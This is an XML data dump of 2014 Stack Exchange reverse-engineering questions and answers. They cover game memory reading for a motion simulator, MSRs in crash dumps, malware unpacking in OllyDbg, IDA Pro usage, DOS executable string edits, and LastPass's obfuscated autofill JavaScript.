  <row Id="6769" PostTypeId="1" AcceptedAnswerId="6770" CreationDate="2014-12-05T21:38:11.250" Score="3" ViewCount="176" Body="&lt;p&gt;I'm trying to connect a real-life motion simulator to my pc gaming rig one game at a time.   Since all the GTA games are super hackable (with respect to physics, map, &amp;amp; texture hacking), AND the fact that GTA5 is coming soon to PC, i thought it would be a cool start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the motion simulator side, it seems that the most logical point to pull a feed would be the vehicle's suspension.  Speed, mass, obstacles, handling, etc... are already computed by the game &amp;amp; mirroring the suspension should be a pretty believable experience.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this sound doable?  Has anyone tried to pair a real-life machine with existing game vehicle before?  Any experiences or insight to what this would entail would be extremely appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the research I've put into this project, it seems that the hardest part will be to pull a realtime feed off an in-game event as the game is already compiled.  My hope is that there is some existing trigger for debugging or perhaps controller feedback in place.  Alternatively, what are the chances of probing around an assembly code level version of the game to insert calls to external scripts?  I realize that a full decompile to a high level language is 99% never going to work again with a game this complex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any helpful contributions pointing in the right direction...&lt;/p&gt;&#xA;" OwnerUserId="10190" LastActivityDate="2017-04-28T09:07:40.063" Title="Connecting a Motion Simulator to GTA" Tags="|decompilation|x86|c++|objdump|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6770" PostTypeId="2" ParentId="6769" CreationDate="2014-12-06T10:05:52.543" Score="2" Body="&lt;p&gt;Not sure if I get this the right way but want to create physical feedback of the simulated car in game to your real seat/cockpit and also drive it from there. (something like Plane HW simulators)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Driving&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that should be pretty easy just use joystick and some keyboard messages inserter (or real hacked keyboard). I assume you already know how to do this part&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;feedback&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would create some starting App that would own the Game's process so I could have full Access to its memory. Then I would track all the memory chunks allocated to it and scan for periodic changes then draw it as some video overlay and play the game to see which chunks are changing dependently to what you do in game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good way is also log the memory chunks to file for later inspections once you  get the candidates for memory locations that could hold the simulated car parameters then try to hack them to see if anything match to in game car speed,orientation ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also need some &lt;strong&gt;ID&lt;/strong&gt; of the chunks so look for specific patterns in them so you can find the same chunk even when it is reallocated (or game is restarted)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;DLL's&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if the GAME use any &lt;strong&gt;DLL&lt;/strong&gt; for specific task like physics simulation then you are in luck and can create wrapper &lt;strong&gt;DLL&lt;/strong&gt; which will have the same interface as original &lt;strong&gt;DLL&lt;/strong&gt;. So create &lt;strong&gt;DLL&lt;/strong&gt; which will just call the calls of the original &lt;strong&gt;DLL&lt;/strong&gt; plus add of some logging so you see what you need (similarly to bullet &lt;strong&gt;#2&lt;/strong&gt;). Once identified what you need then you can easily insert you driving code into it ...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[Notes]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did not do anything like this in a very long time so I have no clue of nowdays tools for this. My favourite tool back in the day was &lt;strong&gt;DLPORTIO&lt;/strong&gt; driver for windows 9x,nt,w2k,xp. it enables full access to everything from IO to memory without exceptions ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the game has player as a complex class then you can try to search for Players name in memory and look around its location for parameters you need&lt;/p&gt;&#xA;" OwnerUserId="4709" LastEditorUserId="4709" LastEditDate="2017-04-28T09:07:40.063" LastActivityDate="2017-04-28T09:07:40.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6771" PostTypeId="1" CreationDate="2014-12-06T19:06:05.807" Score="1" ViewCount="432" Body="&lt;p&gt;I'm analyzing a crash dump BSOD on a windows box where I suspect some malware is doing something with the MSRs but it doesn't look like any of them are available via the wrmsr and rdmsr commands. Is there any other way I can extract them? I did some quick searching and didn't see anything useful. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1306" LastActivityDate="2015-07-06T18:57:36.390" Title="Getting MSRs from Windows Crash Dump" Tags="|windows|debuggers|windbg|dumping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6772" PostTypeId="2" ParentId="6771" CreationDate="2014-12-06T19:22:51.663" Score="1" Body="&lt;p&gt;&lt;em&gt;Updated on 2014-12-08&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As discussed at &lt;a href=&quot;http://microsoft.public.windbg.narkive.com/7opF4257/kernel-dump-rdmsr&quot; rel=&quot;nofollow&quot;&gt;http://microsoft.public.windbg.narkive.com/7opF4257/kernel-dump-rdmsr&lt;/a&gt;, MSRs aren't saved in crash-dumps. But you could create a driver that registers a system bug-check callback (via &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/hardware/ff553110(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;KeRegisterBugCheckReasonCallback()&lt;/a&gt;) and dumps the MSRs of interest when called.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2014-12-08T15:47:19.487" LastActivityDate="2014-12-08T15:47:19.487" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6773" PostTypeId="1" CreationDate="2014-12-06T21:41:32.350" Score="2" ViewCount="1829" Body="&lt;p&gt;I wanted to learn something about unpacking malware manuelly and found the following link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  writequit.org/blog/?p=165.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, the malware in that example begins with the PUSHAD instruction. (I thought it would be a good link because 2 days ago I started to analyze a malware which begins with the same PUSHAD instruction. It was also packed with UPX like the malware in that example of the given link)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I downloaded the malware of the example for testing purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I step into PUSHAD instruction(pressing F7), double-clicking ESP in combination with &quot;Following in Dump&quot;, then I choose the first 4 bytes of the first row (ESP address) in the hex window. Then I go to Breakpoint -&gt; Hardware, on access -&gt; Dword. Then F9. &#xA;(I hope I could explain it right but you can be sure that I did exactly the same things as in the example of the link)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I click ESP -&gt; &quot;Follow in Dump&quot; , the 4 bytes of the first row looks like this: 00 00 00 00.&#xA;(So, only zeros. Not the same like in the example which was 08 02 91 7c as you can see)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second thing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I choose the 00 00 00 00 -&gt; Breakpoint -&gt; Hardware, on access -&gt; Dword, then I let it run (F9) but the malware does not run to a location where I can find POPAD or JMP .... as in the example. &#xA;In my case, after all that it runs to a location (especially, running ends in a LEAVE instruction) with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   ...&#xA;   ...&#xA;   LEA EAX, DWORD PTR SS:[EBP-3C]&#xA;   PUSH EAX&#xA;   CALL DWORD PTR DS: [&amp;lt;&amp;amp;ntdll.RtlRaiseException&amp;gt;]&#xA;   LEAVE                                             &amp;lt;----- here, it ends&#xA;   RETN 10&#xA;   MOV DWORD PTR SS: [EBP-40], EAX&#xA;   ...&#xA;   ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, even if I scroll hundreds of lines upwards or downwards, I could not find a POPAD instruction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why it is so? Do I need to configure something in the ollydbg settings ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope someone can help me in that case, because although I do the same steps as in the example, I have different results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards, &lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2015-02-14T18:11:00.743" Title="Unpacking a backdoor program for studying" Tags="|malware|unpacking|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6774" PostTypeId="2" ParentId="6649" CreationDate="2014-12-06T22:39:08.963" Score="2" Body="&lt;p&gt;Read this here:&#xA;&lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/index.shtml&quot; rel=&quot;nofollow&quot;&gt;https://www.hex-rays.com/products/ida/tech/flirt/index.shtml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think they overhauled the FLIRT system in a recent version of IDA.&#xA;Overall it works pretty well, but there is a lot of room for improvement.&#xA;It's kind of like &quot;finding a needle in a haystack&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's annoying when the FLIRT names so many false positives.&#xA;It assumes a match on just a partial signature match from the first so many bytes of &#xA;a function.  Note depending on the build options library functions can be static, using a DLL, or inlined, plus the generated code can depend on optimization settings (thus signitures not matching).&#xA;There is probably a lot of room for improvement that uses a more exacting system other then FLIRT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also related that might be interesting is &quot;GraphSlick&quot; that can find  inlined functions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;This plugin automates detection of inlined functions. It highlights similar groups of nodes and allows you to group them, simplifying complex functions. The authors provide an accompanying presentation which explains the algorithms behind the plugin and shows sample use cases.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/nihilus/graphslick&quot; rel=&quot;nofollow&quot;&gt;https://github.com/nihilus/graphslick&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3828" LastActivityDate="2014-12-06T22:39:08.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6775" PostTypeId="1" CreationDate="2014-12-07T02:19:20.660" Score="8" ViewCount="240" Body="&lt;p&gt;After disassembling a program, I see the following asm code generated :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:004D5911 mov     [ebp+var_4], ecx&#xA;.text:004D5914 mov     ecx, [ebp+var_4]&#xA;.text:004D5917 test    ecx, ecx&#xA;.text:004D5919 jnz     short loc_4D591F&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't get why &lt;code&gt;[ebp+var_4]&lt;/code&gt; is copied back to &lt;code&gt;ecx&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this an artifact (missed optimization) from the compiler which requires test to take registers as operands?&lt;/p&gt;&#xA;" OwnerUserId="10182" LastEditorUserId="1413" LastEditDate="2014-12-07T12:57:28.647" LastActivityDate="2014-12-08T03:21:36.507" Title="Why are those instructions generated?" Tags="|disassembly|compilers|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6776" PostTypeId="1" AcceptedAnswerId="6778" CreationDate="2014-12-07T05:47:59.717" Score="1" ViewCount="1949" Body="&lt;p&gt;We have a DOS executable program like to &lt;a href=&quot;https://en.wikipedia.org/wiki/Norton_Commander&quot; rel=&quot;nofollow&quot;&gt;NC&lt;/a&gt;. How do we find and change a text or a ASCII art in it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a newbie in reverse.&lt;/p&gt;&#xA;" OwnerUserId="10195" LastEditorUserId="10195" LastEditDate="2014-12-08T20:04:39.297" LastActivityDate="2016-01-09T09:48:44.550" Title="Change a text in DOS executables" Tags="|dos|" AnswerCount="1" CommentCount="7" ClosedDate="2014-12-07T23:36:25.473" ContentLicense="CC BY-SA 3.0" />
  <row Id="6778" PostTypeId="2" ParentId="6776" CreationDate="2014-12-07T09:38:33.483" Score="6" Body="&lt;p&gt;&lt;strong&gt;Tools&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any hex editor will do. Under &lt;strong&gt;DOS&lt;/strong&gt; both NC and VC have their own which are enough. Very good &lt;strong&gt;DOS&lt;/strong&gt; tool is HIEW (hex editor + x86 dissasembler).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;what to do&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;determine the executable form&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;open it as text/hex and if no program string are present then they are in different file or the file is packed/encrypted. Some executables are packet by &lt;strong&gt;PKLITE&lt;/strong&gt; tools so unpack them. If file is encrypted you have to try to decrypt it first.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;find the text you want to change&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;edit the text&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The string size must stay the same !!! If program uses any kind of &lt;strong&gt;CRC&lt;/strong&gt; then you have to override the call by &lt;code&gt;nop/jump&lt;/code&gt; or change the comparison values to the new &lt;strong&gt;CRC&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;that should be all but&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the program uses those texts in specific ways then some thing can be broken like search for specific character/pattern in string to do some crazy effect etc. So if the edit is bugged return to original executable and try to edit string one by one ... to detect which strings will broke the exe. After that just leave those as are and edit the rest to what you need&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;if all fails&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then write TSR launcher for your program (terminate and stay program) that will change the text screens for you. In DOS there are no access violations so you can do anything...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;detect the actual screen the program is presenting&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Text mode &lt;strong&gt;VideoRAM&lt;/strong&gt; is at &lt;code&gt;B800:0000h&lt;/code&gt;  if my memory serves well Each character is represented by &lt;code&gt;2&lt;/code&gt; BYTEs (one is ASCII and one is color attributes). Standard text-mode used in &lt;strong&gt;DOS&lt;/strong&gt; is &lt;code&gt;80x25&lt;/code&gt; characters so read the specific positions of screen and detect strings that match each page of program.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;if page detected&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then rewrite it by your new page (can flicker a bit)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;continue this scanning in some timer&lt;/strong&gt; ... (PIT interrupt or keyboard interrupt)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;you can combine this with keyboard keystrokes detection&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you know if you hit &lt;strong&gt;F1&lt;/strong&gt; then page &lt;strong&gt;F1&lt;/strong&gt; will occur etc. This can be used for hard to detect pages (have no title).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Windows&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could write window App that will present the DOS program. Just you need to pass mouse movement and keyboard events to the DOS program (which can be run as hidden process) and present the (invisible) DOS screen in your Window. In Windows use &lt;strong&gt;DLPORTIO&lt;/strong&gt; driver or any other way to get &lt;strong&gt;Kernel mode&lt;/strong&gt; access rights so you can actually read / access the &lt;strong&gt;DOS VRAM&lt;/strong&gt; or access the &lt;strong&gt;commandline&lt;/strong&gt; or &lt;strong&gt;DOSbox backbuffer&lt;/strong&gt; by &lt;strong&gt;WinAPI&lt;/strong&gt; in &lt;strong&gt;gfx&lt;/strong&gt;. Decode it back to text (the font is usually fixed so that should be easy enough) and recode it to your new texts and present back in your window App.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[Notes]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Graphical DOS program means it uses graphic video mode instead of Text mode. NC is example of Text mode program not graphical !!! Some Text mode based Apps use different text modes so you should detect actual text mode resolution. I think some call to EGA/VGA BIOS &lt;code&gt;int 13h&lt;/code&gt; should do the trick or you can hook up the entire interrupt for this. If you got aligned lines and table borders then that can be also used for resolution detection. You should do this once in a while because resolution can change during operation for example try &lt;strong&gt;ALT+F9&lt;/strong&gt; in &lt;strong&gt;VC&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4709" LastEditorUserId="4709" LastEditDate="2016-01-09T09:48:44.550" LastActivityDate="2016-01-09T09:48:44.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6779" PostTypeId="1" AcceptedAnswerId="6781" CreationDate="2014-12-07T19:50:24.650" Score="2" ViewCount="3726" Body="&lt;p&gt;Where does newly created structure go to from Pseudocode window? I'm referring to structure that you create via right-click on variable and choosing &quot;Create new struct type&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see new structure in &lt;code&gt;View / Open Subviews / Structures&lt;/code&gt; but I'd like to modify it afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SU7Ry.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using IDA Pro 6.5&lt;/p&gt;&#xA;" OwnerUserId="10121" LastActivityDate="2020-03-14T21:47:03.707" Title="IDA Pro: Where does newly created structure go to from Pseudocode window?" Tags="|ida|hexrays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6780" PostTypeId="2" ParentId="6779" CreationDate="2014-12-07T19:59:53.027" Score="1" Body="&lt;p&gt;Press &lt;kbd&gt;Ins&lt;/kbd&gt; in the Structures view, press the &lt;strong&gt;Add standard structure&lt;/strong&gt; button, and you'll find in that list the struct you created via the Pseudocode view, which you can then double-click to add it to the list of structures in the Structures view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unintuitive, I know; it would be nice for it to &lt;em&gt;automatically&lt;/em&gt; get added to the list of structures in the Structures view.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-12-07T19:59:53.027" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6781" PostTypeId="2" ParentId="6779" CreationDate="2014-12-07T20:56:02.890" Score="2" Body="&lt;p&gt;The created types get added to the Local Types list (View-&gt;Open subviews-&gt;Local types, or &lt;kbd&gt;Shift-F1&lt;/kbd&gt;). To jump directly to the specific type, choose &quot;Jump to local type...&quot; from the context menu on a variable of that type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can import any structure from Local Types to the Structures list by double-clicking it or selecting &quot;Syncronize to idb&quot; from the context menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, the structure gets imported automatically if you select &quot;Jump to structure definition&quot; (&lt;kbd&gt;Z&lt;/kbd&gt;) on any of its fields in the pseudocode.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-12-07T20:56:02.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6782" PostTypeId="1" AcceptedAnswerId="7971" CreationDate="2014-12-07T22:49:30.900" Score="3" ViewCount="2345" Body="&lt;p&gt;How can I set memory breakpoint on field of structure ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently if I mapped structure to memory region it uses starting address of structure as address of all fields. See screenshow&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d6dt6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As result I cannot quickly add breakpoint to field &lt;code&gt;isHandshakeReceived&lt;/code&gt;. I'd need to manually calculate its address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there easier method ?&lt;/p&gt;&#xA;" OwnerUserId="10121" LastActivityDate="2015-01-07T06:25:22.893" Title="IDA Pro: How can I set memory breakpoint on field of structure?" Tags="|ida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6783" PostTypeId="1" AcceptedAnswerId="6786" CreationDate="2014-12-08T00:32:52.303" Score="2" ViewCount="207" Body="&lt;p&gt;A few weeks ago I made a proof-of-concept app demonstrating how LastPass' method of filling out creds in Chrome was insecure. For those interested the source is at &lt;a href=&quot;https://github.com/activems/clipcaster&quot; rel=&quot;nofollow&quot;&gt;https://github.com/activems/clipcaster&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially they copy a chunk of javascript to the clipboard and have the user execute it. This includes the user name and password. In previous versions it has been filled out plainly as:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (l_bte) {&#xA;    l_sfv(l_bte, decodeURIComponent(escape(atob('dXNlckBleGFtcGxlLmNvbQ=='))));&#xA;}&#xA;l_sfv(l_bpe, decodeURIComponent(escape(atob('cDRzc3cwcmQ='))));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With 'dXNlckBleGFtcGxlLmNvbQ==' being Base64 for 'user@example.com' and 'cDRzc3cwcmQ=' being 'p4ssw0rd'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LastPass recently updated the JavaScript they use. Now it is (full version at &lt;a href=&quot;https://raw.githubusercontent.com/activems/clipcaster/master/lastpass_output_v2.js&quot; rel=&quot;nofollow&quot;&gt;https://raw.githubusercontent.com/activems/clipcaster/master/lastpass_output_v2.js&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var l_x = function(t, l, m) {&#xA;    var o = [];&#xA;    var b = '';&#xA;    var p = document.location.href.replace(/https?:\/\//, '').substring(0, l);&#xA;    p = l_s('' + l_f(m) + p);&#xA;    for (z = 1; z &amp;lt;= 255; z++) {&#xA;        o[String.fromCharCode(z)] = z;&#xA;    }&#xA;    for (j = z = 0; z &amp;lt; t.length; z++) {&#xA;        b += String.fromCharCode(o[t.substr(z, 1)] ^ o[p.substr(j, 1)]);&#xA;        j = (j &amp;lt; p.length) ? j + 1 : 0;&#xA;    }&#xA;    return decodeURIComponent(escape(b));&#xA;};&#xA;&#xA;....&#xA;&#xA;var l_f=function(m){ &#xA;    var t=new Date().getTime() /&#xA;        1000 | 0;&#xA;        while (t % 10 != m) {&#xA;            --t;&#xA;        }&#xA;        return t;&#xA;    };&#xA;&#xA;....&#xA;&#xA;if (l_bte) {&#xA;&#xA;    l_sfv(l_bte, l_x(atob('W01cCVUlA1AVCkIDAk8AC1g='), 61, 0));&#xA;}&#xA;l_sfv(l_bpe, l_x(atob('QldeA0BREUAWDEMC'), 61, 0));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any pragmatic reason to write JavaScript like this besides obfuscation?&lt;/p&gt;&#xA;" OwnerUserId="10202" LastActivityDate="2016-06-30T13:31:46.157" Title="LastPass Android javascript behaviour" Tags="|android|javascript|security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6784" PostTypeId="2" ParentId="6765" CreationDate="2014-12-08T00:36:52.173" Score="2" Body="&lt;p&gt;I don't think that there is a &quot;one size fits all&quot; kind of firmware extraction from the drive which will work with any drive. Otherwise firmware updating could have a standard interface across all makers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not even sure that many drives will support this feature, since customers do not REALLY need it and developers should have access to the binaries/source. You might want to take a look at the AHCI specification&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you could do instead is check the drive manufacturer for firmware updates then work with those binaries&lt;/p&gt;&#xA;" OwnerUserId="10182" LastActivityDate="2014-12-08T00:36:52.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6785" PostTypeId="2" ParentId="6775" CreationDate="2014-12-08T03:21:36.507" Score="3" Body="&lt;p&gt;This is a common pattern in assembly generated by gcc at least. When it is not asked to optimize the generated code, the translation between C and asm is really straightforward. One statement in C produces a few lines of asm. Next statement: a few more lines of asm, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     [ebp+var_4], ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is probably the end of a line of C, while:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     ecx, [ebp+var_4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is the beginning of the next one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These instructions are optimized out as soon as &lt;code&gt;-O1&lt;/code&gt; (or higher) is provided.&lt;/p&gt;&#xA;" OwnerUserId="10203" LastActivityDate="2014-12-08T03:21:36.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6786" PostTypeId="2" ParentId="6783" CreationDate="2014-12-08T03:48:22.627" Score="2" Body="&lt;p&gt;In short, no. If they're going to implement the &quot;crypto&quot; in Javascript in this way there isn't anything you can do beyond more obfuscation. This is 100% applicable to this situation but see MataSano's article &lt;a href=&quot;http://matasano.com/articles/javascript-cryptography/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;  explaining pitfalls of client side authentication using JavaScript.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar to what's touched on in the article, the issue is that no matter how complicated the JavaScript is, it's trivial for an attacker to intercept and run the code. Similar to a MitM where an attack can intercept and replace client side JavaScrip, in this case the issue is that it's so easy for another app to access the Clipboard via the ClipboardManager. A much better bare minimum solution would be to have LastPass et al store saved credentials in an authenticated SQLite database. And upon detecting the fillable are use code in the application. to pull the saved credentials and enter them directly instead of using the Clipboard and running JavaScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The crux of the problem is it's too easy for an attacker to get a callback using the current API; having the app use its own database prevents an attacker from intercepting the authentication workflow without having root privileges (which is a different discussion altogether). This is a good example of not considering security from the ground up when implementing an application. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an aside, cool stuff and reporting the bug. Can you put a vulnerable version of the application on github (if you haven't already)? It would be a great demo in the future.&lt;/p&gt;&#xA;" OwnerUserId="1306" LastActivityDate="2014-12-08T03:48:22.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6787" PostTypeId="2" ParentId="6782" CreationDate="2014-12-08T04:02:33.963" Score="0" Body="&lt;p&gt;To the best of my knowledge IDA can't go through and automatically identify&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use DbgHook in the following way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class DbgHook(DBG_Hooks):&#xA;... snip ...&#xA;debugger = DbgHook()&#xA;debugger.hook()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using this class will require you to implement the &lt;code&gt;def dbg_bpt(self,tid,ea)&lt;/code&gt; callback. This call back is called when a breakpoint is hit in your code. From there you can set a breakpoint on the instruction where the base address of the structure is moved into a register. You can get the value of that register in your code using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from idc import *&#xA;structAddr = idc.GetRegValue('EAX')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your dbg_bpt callback you can calculate the offset inside the structure and set an access breakpoint on that address using &lt;code&gt;SetBptAttr(address, bptattr, value)&lt;/code&gt; where address is the address of the member (calculated off of the register) and value is &lt;code&gt;BPT_RDWR&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is the IDA Python API documentation and &lt;a href=&quot;https://github.com/deresz/funcap&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; is a good sample project implementing debugger callbacks.&lt;/p&gt;&#xA;" OwnerUserId="1306" LastActivityDate="2014-12-08T04:02:33.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
